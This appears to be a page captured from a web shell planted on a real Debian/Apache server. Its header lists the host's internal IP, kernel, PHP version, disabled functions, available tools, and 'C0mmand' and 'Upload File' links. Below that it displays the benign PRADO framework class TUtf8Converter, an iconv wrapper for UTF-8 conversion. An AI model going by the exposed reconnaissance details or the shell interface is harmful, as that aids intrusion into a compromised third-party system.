|
Server IP : 10.2.73.233 / Your IP : 216.73.216.59 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ifk/web/assets/../prado4.3.2/Util/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* TUtf8Converter class file
*
* @author Fabio Bas <fbio.bas@gmail.com>
* @link https://github.com/pradosoft/prado
* @license https://github.com/pradosoft/prado/blob/master/LICENSE
*/
namespace Prado\Util;
/**
* TUtf8Converter class.
*
* TUtf8Converter is a simple wrapper around iconv functions to convert
* strings from and to UTF-8.
*
* @author Fabio Bas <fbio.bas@gmail.com>
* @since 4.0.2
*/
class TUtf8Converter
{
/**
* Convert strings to UTF-8 via iconv. NB, the result may not by UTF-8
* if the conversion failed.
* @param string $string string to convert to UTF-8
* @param string $from source encoding
* @return string UTF-8 encoded string, original string if iconv failed.
*/
public static function toUTF8($string, $from)
{
if ($from != 'UTF-8') {
$s = iconv($from, 'UTF-8', $string); //to UTF-8
return $s !== false ? $s : $string; //it could return false
}
return $string;
}
/**
* Convert UTF-8 strings to a different encoding. NB. The result
* may not have been encoded if iconv fails.
* @param string $string the UTF-8 string for conversion
* @param string $to destination encoding
* @return string encoded string.
*/
public static function fromUTF8($string, $to)
{
if ($to != 'UTF-8') {
$s = iconv('UTF-8', $to, $string);
return $s !== false ? $s : $string;
}
return $string;
}
}